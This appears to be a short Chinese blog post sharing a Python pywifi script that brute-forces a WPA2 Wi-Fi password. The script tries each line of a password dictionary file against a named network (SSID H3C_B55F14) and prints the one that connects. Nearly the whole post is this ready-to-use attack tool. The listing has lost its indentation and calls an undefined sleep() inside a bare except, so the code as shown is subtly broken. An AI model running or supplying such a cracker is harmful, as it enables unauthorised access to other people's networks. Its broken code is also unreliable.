根据文件暴力枚举wifi密码
import pywifi
from pywifi import const
import time
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
def readPassWord(path,name):
getFilePath =path
get_wifissid = name
pwdfilehander=open(getFilePath,"r",errors="ignore")
while True:
try:
pwdStr =pwdfilehander.readline()
if not pwdStr:
break
bool1=connect(pwdStr,get_wifissid)
if bool1:
res = "===正确=== wifi名:%s 匹配密码:%s "%(get_wifissid,pwdStr)
print(res)
break
else:
res = "---错误--- wifi名:%s匹配密码:%s"%(get_wifissid,pwdStr)
print(res)
sleep(3)
except:
continue
def connect(pwd_Str,wifi_ssid):
profile = pywifi.Profile()
profile.ssid =wifi_ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd_Str
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
time.sleep(5)
if iface.status() == const.IFACE_CONNECTED:
isOK=True
else:
isOK=False
iface.disconnect()
time.sleep(1)
assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
if __name__ == '__main__':
readPassWord(path="C:/Users/Administrator/Desktop/py/密码.txt",name="H3C_B55F14")
path是密码字典的路径,name是wifi名称
原文链接